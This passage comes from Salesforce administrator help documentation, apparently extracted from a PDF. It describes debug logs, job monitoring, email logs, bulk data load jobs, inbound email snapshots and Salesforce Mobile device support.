CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new]
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED

Units of code include, but are not limited to, the following:

Triggers
Workflow invocations and time-based workflow
Validation rules
Approval processes
Apex lead convert
@future method invocations

923

Monitoring

Monitoring Debug Logs

Web service invocations


executeAnonymous calls
Visualforce property accesses on Apex controllers
Visualforce actions on Apex controllers
Execution of the batch Apex start and finish methods, as well as each execution of the execute method
Execution of the Apex System.Schedule execute method
Incoming email handling

Log Lines
Included inside the units of code. These indicate what code or rules are being executed, or messages being specifically
written to the debug log. For example:

Figure 2: Debug Log Line Example


Log lines are made up of a set of fields, delimited by a pipe (|). The format is:

timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's
time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start
of the request. The elapsed time value is excluded from logs reviewed in the Developer Console.
event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET
or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line
and character number where the code was executed.

Additional Log Data


In addition, the log contains the following information:

Cumulative resource usageLogged at the end of many code units, such as triggers, executeAnonymous, batch
Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert.
Cumulative profiling informationLogged once at the end of the transaction. Contains information about the most
expensive queries (that used the most resources), DML invocations, and so on.

The following is an example debug log:


22.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO
11:47:46.030 (30064000)|EXECUTION_STARTED
11:47:46.030 (30159000)|CODE_UNIT_STARTED|[EXTERNAL]|TRIGGERS
11:47:46.030 (30271000)|CODE_UNIT_STARTED|[EXTERNAL]|01qD00000004JvP|myAccountTrigger on
Account trigger event BeforeUpdate for [001D000000IzMaE]
11:47:46.038 (38296000)|SYSTEM_METHOD_ENTRY|[2]|System.debug(ANY)
11:47:46.038 (38450000)|USER_DEBUG|[2]|DEBUG|Hello World!
11:47:46.038 (38520000)|SYSTEM_METHOD_EXIT|[2]|System.debug(ANY)
11:47:46.546 (38587000)|CUMULATIVE_LIMIT_USAGE
11:47:46.546|LIMIT_USAGE_FOR_NS|(default)|

924

Monitoring

Monitoring Scheduled Jobs

Number of SOQL queries: 0 out of 100


Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Number of script statements: 1 out of 200000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 100
Number of record type describes: 0 out of 100
Number of child relationships describes: 0 out of 100
Number of picklist describes: 0 out of 100
Number of future calls: 0 out of 10
11:47:46.546|CUMULATIVE_LIMIT_USAGE_END
11:47:46.038
BeforeUpdate
11:47:47.154
11:47:47.154

(38715000)|CODE_UNIT_FINISHED|myAccountTrigger on Account trigger event


for [001D000000IzMaE]
(1154831000)|CODE_UNIT_FINISHED|TRIGGERS
(1154881000)|EXECUTION_FINISHED

See Also:
Setting Debug Log Filters
Monitoring Debug Logs
Setting Debug Log Filters
Developer's Guide: Force.com Apex Code Developer's Guide

Monitoring Scheduled Jobs


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Analytic Snapshots and Dashboards are not available in Database.com

User Permissions Needed


To monitor scheduled jobs:

View Setup and Configuration

The All Scheduled Jobs page lists all analytic snapshots, scheduled Apex jobs, and dashboards scheduled to refresh.
To view this page, click Your Name > Setup > Monitoring > Scheduled Jobs. Depending on your permissions, you can
perform some or all of the following actions:

Click Del to permanently delete all instances of a scheduled job.


View the details of a scheduled job, such as:

The name of the scheduled job


The name of the user who submitted the scheduled job
The date and time at which the scheduled job was originally submitted
The date and time at which the scheduled job started

925

Monitoring

Monitoring Background Jobs

The next date and time at which the scheduled job will run
The type of scheduled job

See Also:
Analytic Snapshots Overview
Scheduling a Dashboard Refresh

Monitoring Background Jobs


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To monitor background jobs:

View Setup and Configuration

To view any background jobs in your organization (such as sharing rule recalculation jobs), select Your Name > Setup >
Monitoring > Background Jobs. The All Background Jobs page shows the details of background jobs.
You can only monitor background jobs on this page. To abort a job, contact salesforce.com.

Monitoring the Apex Job Queue


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

The Apex job queue lists all Apex jobs that have been submitted for execution. Jobs that have completed execution are listed,
as well as those that are not yet finished, including:

Apex methods with the future annotation that have not yet been executed. Such jobs are listed as Future in the Job Type
column, and do not have values in the Total Batches or Batches Processed columns.
Scheduled Apex jobs that have not yet finished executing. Such jobs are listed as Scheduled Apex in the Job Type column,
and do not have values in the Total Batches or Batches Processed columns.
Apex sharing recalculation batch jobs that have not yet finished execution. Such jobs are listed as Sharing Recalculation
in the Job Type column. The records in a sharing recalculation job are automatically split into batches. The Total Batches
column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have
already been processed.
Batch Apex jobs that have not yet finished execution. Such jobs are listed as Batch Apex in the Job Type column. The
records in a batch Apex job are automatically split into batches. The Total Batches column lists the total number of batches
for the job. The Batches Processed column lists the number of batches that have already been processed.
Note: Sharing recalculation batch jobs are currently available through a limited release program. For information on
enabling Apex sharing recalculation batch jobs for your organization, contact salesforce.com.

926

Monitoring

Monitoring the Apex Job Queue

The Status column lists the current status of the job. The possible values are:
Status

Description

Queued

Job is awaiting execution

Preparing

The start method of the job has been invoked. This status
might last a few minutes depending on the size of the batch
of records.

Processing

Job is being processed

Aborted

Job was aborted by a user

Completed

Job completed with or without failures

Failed

Job experienced a system failure

If one or more errors occur during batch processing, the Status Details column gives a short description of the first error. A
more detailed description of that error, along with any subsequent errors, is emailed to the user who started the running batch
class.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. This is especially useful if you want to view only future methods, or view only Apex batch jobs. To
edit or delete any view you created, select it from the View drop-down list and click Edit.
Only one batch Apex job's start method can run at a time in an organization. Batch jobs that havent started yet remain in
the queue until they're started. Note that this limit doesnt cause any batch job to fail and execute methods of batch Apex
jobs still run in parallel if more than one job is running.
For any type of Apex job, you can click Abort Job in the Action column to stop all processing for that job.
All batch jobs that have completed execution are removed from the batch queue list seven days after completion.
For more information about Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Monitoring Scheduled Jobs
Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide

927

Monitoring

What Are Email Logs?

What Are Email Logs?


Available in: All Editions except for Database.com

User Permissions Needed


To access email logs:

Modify All Data

Email logs are CSV files that contain information about all email sent through Salesforce over the last 30 days. Logs contain
data such as:

The email address of each email sender and recipient


The date and time each email was sent
The delivery status of each email
Any error code associated with each email

You can use email logs to troubleshoot encountered errors.


To manage email logs, click Your Name > Setup > Monitoring > Email Log Files.

To request a new email log, click Request an Email Log. Due to the volume of email processed through Salesforce, requests
are queued in the order that they are received. Email logs should be available within 30 minutes of your request. For more
information, see Requesting an Email Log on page 929.
The pending email log requests list provides the status on email log requests that have not yet completed. You can have a
maximum of three pending log requests at any time.
The email log errors list provides descriptions for requests that failed.
To resubmit a request that failed, click Resubmit.
To delete a request that failed, click Del.
Caution: You cannot resubmit a failed request if it requires data that has exceeded the 30 day limit, or if you
already have three pending requests.

To download an email log, click Download (.zip). Email logs are CSV files contained within a compressed file. Logs
contribute to your overall file storage limits. For more information, see Monitoring Resources on page 752.
To delete an email log, click Del.

For a summary of the information returned from an email log, see Viewing Email Logs on page 929.

928

Monitoring

What Are Email Logs?

Requesting an Email Log


Available in: All Editions except for Database.com

User Permissions Needed


To access email logs:

Modify All Data

To request a new email log for your organization:


1. Click Your Name > Setup > Monitoring > Email Log Files.
2. Click Request an Email Log.
You can have a maximum of three pending log requests at one time. If you already have three pending requests, you cannot
request another log until at least one of those requests completes.
3. Enter a Start Time and End Time range for the email log you want to retrieve. Email logs are available for messages
sent within the past 30 days prior to your request.
Note: Each email log can span a maximum of seven days. To see email log data from a period of time greater than
seven days, create multiple requests.
4. Optionally, you can filter an email log to only include rows where a specific domain name or email address appears in a
field, such as Recipient or Message ID Header. To enter more than one filter term, separate each value with a comma.
If you leave this field blank, the log is not filtered and all email addresses are returned within the specified time range.
5. Enter the email addresses that you want to receive notification when the email log request is complete. Separate each email
address with a comma.
To clear a request and return to the email log overview page, click Cancel.

See Also:
Viewing Email Logs

Viewing Email Logs


Available in: All Editions except for Database.com

User Permissions Needed


To access email logs:

Modify All Data

The following table describes the format of the log file and lists examples of its fields:

929

Monitoring

What Are Email Logs?

Column

Field

Description

Example

Date/Time

The date and time the


message was sent in GMT

3/06/2009 13:37

Internal Message ID

The unique internal ID of the 16/A4-20983-88E21E84


message

Event

Indicates the final email event T


in the mail server. Events can
be one of the following values:
R - Reception
The email was
successfully received.
D - Delivery
The email was
successfully sent.
T - Transient Failure
The email transmission
was delayed. Salesforce
will retry delivery over a
24-hour period. The first
retry occurs five minutes
after the first transient
failure, the second occurs
ten minutes after that,
the third twenty minutes
after that, and so on.
P - Permanent Failure
The email could not be
delivered.

Recipient

The email address of the


person to whom the email is
sent

admin@acme.com

Sender

The email address of the


person who sent the email

user@acme.com

Remote Host

The IP address of the


application server that
delivered the email to the
email server

10.0.0.1

Bytes Transferred

The size of the email

11856

User ID

The Salesforce ID of the user 00540000000rSXT


who sent the email

930

Monitoring

What Are Email Logs?

Column

Field

Description

Example

Message ID Header

The ID header at the


beginning of every email

21749386.
106091224027705044.
JavaMail.
sfdc@na2-app4-2-sjl.
ops.sfdc.net

Retry Count

The number of attempts made 11


to deliver the email

Seconds in Queue

The number of seconds the 300


email had to wait before being
delivered

Delivery Stage

The final stage the delivery


was in before it was logged.
Below are the values of the
stages in the order that they
appear during the SMTP
sequence:

during RCPT TO

BANNER
The SMTP connection
response
EHLO
The beginning of the
session with the mail
server
STARTTLS
Establishes a secure
communication session
with the email server
MAIL FROM
Announces the sender of
the email
RCPT TO
Announces the recipient
of the email
DATA
Announces that the
subsequent text is the
email message

931

Monitoring

Column

What Are Email Logs?

Field

Description

Example

BODY
The state when the body
of the email is being sent
to the recipient
RSET
Resets the server state,
ending the session
In addition, there are
responses that may appear at
any point during the delivery
sequence:
while not connected
The client is trying to
establish a connection
while idle
The client has connected,
but is not sending or
receiving any commands
reading confirmation
A command was sent and
the client is waiting for a
response
handshaking TLS
An error occurred while
trying to establish a
secure connection
out of band bounce
The receiving server
accepted a command, but
then for an unknown
reason rejected it
in unknown state
An unknown error has
occurred
M

Relay Host

The hostname of the


designated relay system

relay.my.org

Relay Port

The port of the designated


relay system

587

932

Monitoring

What Are Email Logs?

Column

Field

Description

Example

Delivery Status
Notification

After every delivery stage, a 421 no adequate


three-digit response code is servers
sent from the mail server. The
first number indicates whether
the command was successful
or unsuccessful; the second
digit indicates the type of
error; and the third provides
additional information to
resolve the potential problem.
The five possible values of the
first digit are:
1xx - Positive

Preliminary reply
The command was
accepted, but no response
has been sent
2xx - Positive

Completion reply
The requested action has
successfully completed
3xx - Positive

Intermediate reply
The command was
accepted, but the
requested action needs
more information
4xx - Transient

Negative Completion
reply
The command was not
accepted and the
requested action did not
occur. However, the error
condition is temporary
and the action may be
requested again.
5xx - Permanent

Negative Completion
reply
The command was not
accepted and the
requested action did not

933

Monitoring

Monitoring Bulk Data Load Jobs

Column

Field

Description

Example

occur
Every email service provider
implements the codes
differently, so there is no
comprehensive list for what
the second or third digits
indicate.
For more information on these
codes, view the official SMTP
documentation, section 4.2.1:
http://
www.ietf.org/rfc/rfc2821.txt
?number=2821

See Also:
What Are Email Logs?

Monitoring Bulk Data Load Jobs


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To monitor bulk data load jobs:

Manage Data Integrations

You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of
data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount
of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
Process a set of records by creating a job that contains one or more batches. The job specifies which object is being processed
and what type of action is being used (query, insert, upsert, update, or delete). A batch is a set of records sent to the server in
an HTTP POST request. Each batch is processed independently by the server, not necessarily in the order it is received.
To track the status of bulk data load jobs that are in progress or recently completed, click Your Name > Setup > Monitoring
> Bulk Data Load Jobs.
The In Progress Jobs list contains the following columns, shown in alphabetical order:
Column

Description

Job ID

The unique, 15character ID for this job.

934

Monitoring

Monitoring Bulk Data Load Jobs

Column

Description

Object

The object type for the data being processed. All data in a job must be of a single object type.

Operation

The processing operation for all the batches in the job. The valid values are:
delete
insert
query
upsert
update
hardDelete

Progress

The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.

Records
Processed

The number of records already processed. This number increases as more batches are processed.

Start Time

The date and time when the job was submitted.

Status

The current state of processing for the job. The valid values are:
Open: The job has been created, and batches can be added to the job.
Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
Completed: All batches have been processed.
Aborted: The job has been aborted.
Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.

The Completed Jobs list contains the following columns, shown in alphabetical order. Completed jobs are removed from the
list seven days after completion.
Column

Description

End Time

The date and time when the job completed.

Job ID

The unique, 15character ID for this job.

Object

The object type for the data being processed. All data in a job must be of a single object type.

Operation

The processing operation for all the batches in the job. The valid values are:
delete
insert
query
upsert
update
hardDelete

935

Monitoring

Monitoring Bulk Data Load Jobs

Column

Description

Records
Processed

The number of records already processed. This number increases as more batches are processed.

Start Time

The date and time when the job was submitted.

Status

The current state of processing for the job. The valid values are:
Open: The job has been created, and batches can be added to the job.
Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
Completed: All batches have been processed.
Aborted: The job has been aborted.
Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.


Time to
Complete

The total time to complete the job.

See Also:
Viewing Bulk Data Load Job Details
Developer's Guide: Force.com Bulk API Developer's Guide

Viewing Bulk Data Load Job Details


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To monitor bulk data load jobs:

Manage Data Integrations

You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of
data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount
of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
To view the details of a bulk data load job:
1. Click Your Name > Setup > Monitoring > Bulk Data Load Jobs.
2. Click a Job ID link for a job.
The job detail page contains the following fields, shown in alphabetical order:

936

Monitoring

Monitoring Bulk Data Load Jobs

Field

Description

Apex
Processing
Time (ms)

The number of milliseconds taken to process triggers and other processes related to the job data. This is
the sum of the equivalent times in all batches in the job. This doesn't include the time used for processing
asynchronous and batch Apex operations. If there are no triggers, the value is 0.

API Active
Processing
Time (ms)

The number of milliseconds taken to actively process the job and includes the time tracked in the Apex
Processing Time (ms) field, but doesn't include the time the job waited in the queue to be processed
or the time required for serialization and deserialization. This is the sum of the equivalent times in all
batches in the job.

API Version

The API version for the job.

Completed
Batches

The number of batches that have been completed for this job.

Concurrency
Mode

The concurrency mode for processing batches. The valid values are:
parallel: Batches are processed in parallel mode. This is the default value.
serial: Batches are processed in serial mode.

Content Type The content type for the job. The valid values are:

CSVdata in CSV format


XMLdata in XML format (default option)
ZIP_CSVdata in CSV format in a zip file containing binary attachments
ZIP_XMLdata in XML format in a zip file containing binary attachments

End Time

The date and time when the job completed.

External ID
Field

The name of the external ID field for an upsert().

Failed
Batches

The number of batches that have failed for this job.

Job ID

The unique, 15character ID for this job.

In Progress
Batches

The number of batches that are in progress for this job.

Object

The object type for the data being processed. All data in a job must be of a single object type.

Operations

The processing operation for all the batches in the job. The valid values are:
delete
insert
query
upsert
update
hardDelete

Progress

The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is

937

Monitoring

Field

Monitoring Bulk Data Load Jobs

Description
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.

Queued
Batches

The number of batches queued for this job.

Records
Failed

The number of records that were not processed successfully in this job.

Records
Processed

The number of records processed at the time the request was sent. This number increases as more batches
are processed.

Retries

The number of times that Salesforce attempted to save the results of an operation. The repeated attempts
are due to a problem, such as a lock contention.

Start Time

The date and time when the job was submitted.

Status

The current state of processing for the job. The valid values are:
Open: The job has been created, and batches can be added to the job.
Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
Completed: All batches have been processed.
Aborted: The job has been aborted.
Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.


Time to
Complete

The total time to complete the job.

Total
Processing
Time (ms)

The number of milliseconds taken to process the job. This is the sum of the total processing times for all
batches in the job.

The job detail page includes a related list of all the batches for the job. The related list provides View Request and View
Response links for each batch. If the batch is a CSV file, the links return the request or response in CSV format. If the batch
is an XML file, the links return the request or response in XML format. These links are available for batches created in API
version 19.0 and later.
The batch related list contains the following fields, shown in alphabetical order:
Field

Description

Apex
Processing
Time (ms)

The number of milliseconds taken to process triggers and other processes related to the batch data. If
there are no triggers, the value is 0. This doesn't include the time used for processing asynchronous and
batch Apex operations.

API Active
Processing
Time (ms)

The number of milliseconds taken to actively process the batch, and includes Apex processing time. This
doesn't include the time the batch waited in the queue to be processed or the time required for serialization
and deserialization.

938

Monitoring

Monitoring Bulk Data Load Jobs

Field

Description

Batch ID

The ID of the batch. May be globally unique, but does not have to be.

End Time

The date and time in the UTC time zone that processing ended. This is only valid when the state is
Completed.

Records
Failed

The number of records that were not processed successfully in this batch.

Records
Processed

The number of records processed in this batch at the time the request was sent. This number increases as
more batches are processed.

Retry Count

The number of times that Salesforce attempted to save the results of an operation. The repeated attempts
are due to a problem, such as lock contention or a batch taking too long to process.

Start Time

The date and time in the UTC time zone when the batch was created. This is not the time processing
began, but the time the batch was added to the job.

State
Message

Contains the reasons for failure if the batch didn't complete successfully.

Status

The current state of processing for the batch:


Queued: Processing of the batch has not started yet. If the job associated with this batch is aborted,
this batch isn't processed and its state is set to Not Processed.
In Progress: The batch is currently being processed. If the job associated with this batch is aborted,
this batch is still processed to completion.
Completed: The batch has been processed completely and the result resource is available. The result
resource indicates if some records have failed. A batch can be completed even if some or all the records
have failed. If a subset of records failed, the successful records aren't rolled back.
Failed: The batch failed to process the full request due to an unexpected error, such as the request
being compressed with an unsupported format, or an internal server error.
Not Processed: The batch failed to process the full request due to an unexpected error, such as the
request being compressed with an unsupported format, or an internal server error.

Total
Processing
Time (ms)

The number of milliseconds taken to process the batch. This excludes the time the batch waited in the
queue to be processed.

View Request Click the link for a batch to see the request.
View Result

Click the link for a batch to see the results.

See Also:
Monitoring Bulk Data Load Jobs
Developer's Guide: Force.com Bulk API Developer's Guide

939

Monitoring

Monitoring Automated Process Actions

Monitoring Automated Process Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage automated-process actions:

Modify All Data

Salesforce Knowledge users can schedule articles to be published or archived on a specific date. Use the automated-process
actions queue to view these pending actions and cancel them if necessary.
To view pending actions:
1. Click Your Name > Setup > Monitoring > Automated Process Actions.
2. Click Search to view all pending actions for any article, or set the filter criteria and click Search to view only the pending
actions that match the criteria. The filter options are:
Process Definition
The process that is triggering the action. This value is always KBWorkflow.
Object
The object that triggered the pending action. This value is always Knowledge Article.
Scheduled Date
The date the pending actions are scheduled to occur.
Create Date
The date the article that triggered the pending action was created.
Created By
The user who created the article that triggered the pending action.
Record Name
The name of the article that triggered the pending action.
The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2961.
To cancel pending actions:
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce cancels the pending action.

See Also:
Salesforce Knowledge Overview
Salesforce Knowledge Terminology
Publishing Articles and Translations

940

Monitoring

Troubleshooting with Inbound Email Snapshots

Troubleshooting with Inbound Email Snapshots


Available in: All Editions except for Database.com

User Permissions Needed


To request, view, download, and delete email snapshots:

Modify All Data

Take a snapshot of inbound email messages so you can more easily troubleshoot inbound email errors.
Inbound email snapshots capture a copy of inbound email messages, helping you diagnose issues with email services such as
Email to Salesforce, Email-to-Case, and Apex email services. Request a snapshot by specifying criteria for the emails To and
From addresses, and when an inbound message meets that criteria, the snapshot records a single copy that you can view and
download. The email itself is processed normally without alteration. Snapshots contain the:

Senders address
Inbound email service address
Date and time of the snapshot
Full message contents, including headers and attachments

To access inbound email snapshots, click Your Name > Setup > Monitoring > Email Snapshots.

To request an inbound email snapshot, enter criteria for the To address (required) and From address (optional). Then
click Request Snapshot.
The requested snapshot is added to the list of Pending and Completed Snapshots. As soon as an inbound message meets
your specified criteria, we take a snapshot and complete the request.
To view a completed snapshot, you can:
Option

Description

View snapshot details

Click Show Details to see when the snapshot was taken, the senders address, and the
inbound email service address. Click Hide Details to collapse the details section.

Download the snapshot

Click Download then either open the email as a .txt file or save it to your computer.

Consider these tips when using inbound email snapshots:

You can have a maximum combined total of 25 pending and completed snapshots. Delete some to free up space for new
snapshots. You can delete any pending or completed snapshot, even if someone else originally requested it.
Deleted snapshots are permanently deleted. Theyre not moved to the Recycle Bin.
When specifying criteria for the To address, keep these tips in mind.
The criteria apply to any of the addresses specified in an emails To, CC, or BCC fields (not only the To field).
Inbound email service addresses always end in salesforce.com.
You may want to look up the addresses your organization uses. This table summarizes where to find them.
Type of inbound email address

Where to find addresses

The users unique Email to Salesforce address

Every user can click Your Name > Setup > Email > My
Email to Salesforce to view the unique address assigned

941

Salesforce Mobile

Type of inbound email address

Salesforce Mobile Overview

Where to find addresses


to the user when your organization enabled Email to
Salesforce.

Email routing addresses for Email-to-Case or On-Demand Click Your Name > Setup > Customize > Cases >
Email-to-Case
Email-to-Case to open the Email-to-Case settings page.
View the Routing Addresses section.
Your organizations email service addresses

Click Your Name > Setup > Develop > Email Services,
then the name of an email service.

You can use an asterisk (*) wildcard in both the local-part of the email address (the part before the @ symbol) and in the
domain-part (the part after the @ symbol). Spaces, commas, and semicolons arent valid characters. Salesforce email
addresses are case-insensitive. Each address field can contain a maximum of 255 characters.
You can click Request Snapshot multiple times if you want to request more than one snapshot with identical criteria.
If you believe a snapshot should have completed but it still shows Pending status, try refreshing the page.
Snapshots dont expire. Requested snapshots can remain in Pending status indefinitely if no inbound emails match the
specified criteria. Completed snapshots persist until you delete them.

See Also:
Enabling Email to Salesforce
Setting Up Email-to-Case or On-Demand Email-to-Case
Defining Email Service Addresses

SALESFORCE MOBILE
Salesforce Mobile Overview
Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

Use Salesforce Mobile to help your mobile teams succeed by keeping them in touch with the latest data, whenever and wherever
they need it, directly from mobile devices such as a BlackBerry and iPhone. With Salesforce Mobile, field professionals are
prompted to log information directly in Salesforce or Force.com AppExchange apps immediately after important customer
calls, emails, and appointments, so critical information is logged in near real time.
Salesforce Mobile is a Salesforce feature that enables users to access their Salesforce data from mobile devices running the
mobile client application. The Salesforce Mobile client application exchanges data with Salesforce over wireless carrier networks,
and stores a local copy of the users data in its own database on the mobile device. Users can edit local copies of their Salesforce
records when a wireless connection is unavailable, and transmit those changes when a wireless connection becomes available.

942

Salesforce Mobile

Mobile Lite Overview

To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are
sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on
their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different
types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while
another mobile configuration sends cases to customer support representatives.
After you add users to a mobile configuration, send them a mass email with a link to install the correct mobile client application
on their mobile devices. After installing the client application, users can use the client interface to easily register their devices
with Salesforce. Administrators can view information about registered devices and manage mobile users.
A separate Salesforce Mobile license is required for each user who uses a mobile device to access Salesforce. For organizations
using Unlimited and Developer Editions, salesforce.com provides one mobile license for each Salesforce license. Organizations
using Professional or Enterprise Editions must purchase mobile licenses separately. To allocate Salesforce Mobile licenses to
users within your organization, select the Mobile User checkbox when editing a user's personal information.
For Professional, Enterprise, Unlimited, or Developer Edition users without mobile licenses, Salesforce offers Mobile Lite, a
free, restricted version of Salesforce Mobile.
Note: The iPhone and BlackBerry mobile client applications are available in English, Japanese, French, German, and
Spanish. Contact salesforce.com to enable Salesforce Mobile for your organization.

See Also:
Salesforce Mobile Implementation Guide
Salesforce Mobile User Guide for BlackBerry
Tip Sheet: Salesforce Mobile for BlackBerry
Salesforce Mobile User Guide for Windows Mobile
Tip Sheet: Salesforce Mobile for Windows Mobile
Salesforce Mobile User Guide for iPhone

Mobile Lite Overview


Available in: All Editions except Database.com

Mobile Lite is a free, restricted version of Salesforce Mobile that is available to any Salesforce user who doesn't have a mobile
license.
Mobile Lite users can view, create, edit, and delete accounts, assets, contacts, leads, opportunities, events, tasks, cases, and
solutions. They also have access to their dashboards.
You can enable Mobile Lite for your organization by editing your mobile settings. The mobile settings also let you control
whether Mobile Lite users have access to all available CRM tabs, or just to dashboards.
Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent
users from accessing Salesforce from a mobile device.
Mobile Lite doesn't include all of the functionality offered in Salesforce Mobile. Mobile Lite:

Supports fewer standard objects

943

Salesforce Mobile

Mobile Lite Overview

Doesn't provide support for custom objects


Doesn't allow administrators to customize or create mobile configurations

Mobile Lite users are automatically assigned to the default mobile configuration when they activate their Salesforce account
from a supported mobile device. Mobile configurations determine the data sent to each mobile user. Administrators can't view
or edit the default mobile configuration.
Note: Mobile Lite is not supported for partner portal users.

See Also:
Salesforce Mobile Overview
Managing Mobile Devices
Chatter Mobile App Overview

Supported Devices for Mobile


Available in: All Editions except Database.com

The mobile application can run on BlackBerry, iPhone, and Windows Mobile operating systems, and it's supported by virtually
all wireless carriersif the device can establish a data connection to the Internet, it can typically run the mobile application.
Recently-released mobile devices may not be immediately supported because every device goes through the official certification
and quality assurance process. For the most current information on supported devices, contact salesforce.com. Below is a list
of supported devices per platform. Verify that your device is supported before installing the mobile application.
BlackBerry Smartphones
The mobile application can run on BlackBerry operating system versions 4.3 through 6.0. Upgrading to the latest version of
the BlackBerry operating system can improve device performance. At a minimum, 2 to 3 MB of free memory should be
available on the device. The mobile client application is supported on these BlackBerry smartphones:

BlackBerry 8100 Series (Pearl)


BlackBerry 8300 Series (Curve)
BlackBerry 8500 Series (Curve)
BlackBerry 8800 Series
BlackBerry 8900 Series (Javelin)
BlackBerry 9000 Series (Bold)
BlackBerry 9300 Series (Curve 3G)
BlackBerry 9500 Series (Storm)
BlackBerry 9600 Series (Tour)
BlackBerry 9700 Series (Bold)
BlackBerry 9800 Series (Torch)

944

Salesforce Mobile

Mobile Lite Overview

Note:
Mobile users running versions 4.04.3 of the operating system can still download and install the mobile
application; however, the mobile server will detect the older operating system and send version 11.6 of the
mobile application, which was the last release that supported operating system versions 4.04.3. Users on version
11.6 of the mobile application can't use any of the new features included in the current release or future releases.
Although Salesforce supports the BlackBerry Storm, some mobile features are not optimized for the touch
screen interface. Mobile features were tested against version 4.7.0.87 of the BlackBerry operating system.
Starting in Winter '09, Salesforce no longer officially supports the BlackBerry 8700 series, although the mobile
application may continue to run on those device models.
BlackBerry 9500 (Storm) and 9800 (Torch) Series utilize the same Salesforce CRM Mobile software as other
BlackBerry devices, so some aspects of Salesforce CRM Mobile are not optimized for the touch interface.

Windows Mobile Phones


The mobile application requires Windows Mobile Standard or Professional editions in versions 6.0, 6.1, or 6.5. Windows
Mobile 6 Professional devices have a touch-screen interface, while Windows Mobile 6 Standard devices do not. Windows
Mobile 5 Pocket PC users should contact their carriers for a software upgrade to Windows Mobile 6 Professional. At a
minimum, 5 MB of free memory should be available on the device.
The mobile client application is supported on these Windows Mobile 6 Professional devices:

AT&T Tilt
PPC6800 (HTC Mogul)

The mobile client application is supported on these Windows Mobile 6 Standard devices:

MOTO Q 9
BlackJack II

The mobile client application is supported on these Windows Mobile 6.1 Professional devices:

HTC Fuze
MC35/MC55/MC75 (Motorola)

The mobile application may work on Windows Mobile devices that are not listed here. To verify compatibility, contact your
account executive for a free trial before purchasing any mobile licenses.
iPhones and iOS
The mobile application requires the latest iPhone operating system available on iTunes. If the App Store icon is available on
the home screen, you can use the mobile application on your device. Be sure your device has at least 10 MB of available space
before installing the mobile client application. The mobile application is supported on these devices:

iPhone
iPhone 3G
iPhone 3GS
iPhone 4
iPod Touch
iPad with iPhone application in compatibility mode
iPad 2 with iPhone application in compatibility mode

945

Salesforce Mobile

Mobile Lite Overview

Note: Use of the Salesforce Mobile for iPhone product is subject to certain limitations:

Third parties (including, but not limited to, Apple Inc. and your network connectivity provider) may at any time
restrict, interrupt or prevent use of Salesforce Mobile for the iPhone and iPod touch devices, or delete the Salesforce
Mobile software from iPhone or iPod touch devices, or require salesforce.com to do any of the foregoing, without
entitling the customer to any refund, credit or other compensation from such third party or salesforce.com.
Service level agreements do not apply to the Salesforce Mobile for iPhone product. Additional limitations are
described in the Order Form Supplement for Salesforce Mobile for iPhone, which users are required to accept
upon download or installation of the Salesforce Mobile for iPhone product.

Managing Mobile Permissions


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations:

View Setup and Configuration

To create, change, or delete mobile configurations:

Manage Mobile Configurations

